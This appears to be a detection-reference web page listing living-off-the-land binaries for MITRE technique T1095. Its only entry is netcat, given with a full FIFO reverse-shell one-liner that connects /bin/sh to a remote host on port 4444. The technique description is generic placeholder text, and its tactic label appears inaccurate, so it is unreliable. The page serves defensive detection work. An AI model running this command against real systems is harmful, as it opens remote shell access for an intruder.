How many Living-off-the-Land Binaries abuse T1095?

LOLPulse tracks 1 verified living-off-the-land binaries across Windows, Linux, and macOS that adversaries can leverage to execute Technique T1095 (T1095).

How can detection engineers monitor for T1095?

Detection strategies involve correlating process command-line arguments, parent process lineage, and behavioral telemetry rules (KQL, Sigma, and Splunk) specifically authored for the binaries listed in this matrix.

T1095Tactic: Execution & Defense EvasionOfficial MITRE ATT&CK Page

T1095: Technique T1095

Adversaries may leverage living-off-the-land techniques (T1095) to achieve execution, evade defenses, or transfer tools.

Total Capable Binaries: 1

•

Windows: 0

•

Linux: 1

•

macOS: 0

Living-off-the-Land Matrix for T1095

Across 1 verified binaries

Linux1 payloads

nc

Netcat is a versatile networking tool for TCP and UDP communication. Attackers frequently use it in conjunction with FIFOs or the -e flag to establish interactive reverse command shells.

Sample Attack Vector:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.5 4444 > /tmp/f

Inspect nc & Telemetry

Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

LinkedIn Profile Methodology & Papers